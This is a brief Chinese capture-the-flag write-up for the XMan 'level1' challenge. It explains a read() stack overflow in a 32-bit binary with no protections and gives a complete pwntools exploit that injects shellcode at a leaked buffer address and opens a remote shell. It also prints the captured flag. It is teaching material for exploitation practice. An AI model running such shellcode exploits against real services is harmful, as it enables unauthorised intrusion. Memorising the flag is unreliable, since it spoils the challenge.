题目说明
题目来源: XMan
题目: level1
read() 栈溢出 ROP 执行语句
解题步骤
拿到文件后先查看文件类型是32位的elf文件
检查安全机制没有什么
查看主函数伪代码
查看vulerable_function()函数伪代码
每次运行都会输出buf变量的内存地址,而程序中没有其他的可利用函数,既然给出了内存地址,可以尝试在buf变量中写入shellcode,然后覆盖EIP返回地址为bug的位置执行shellcode达到目的
Payload构成: shellcode+’A’(总共长度为0x88) + 四位覆盖EBP + buf内存地址
写出exp1
2
3
4
5
6
7from pwn import *
p = remote('pwn2.jarvisoj.com','9877')
back_addr = p32(int(p.recvuntil('?',drop=True)[12:],16))
shellcode=asm(shellcraft.sh())
payload = shellcode.ljust(0x88,'A')+'BBBB'+back_addr
p.sendline(payload)
p.interactive()
运行得到flag
flag:1
CTF{82c2aa534a9dede9c3a0045d0fec8617}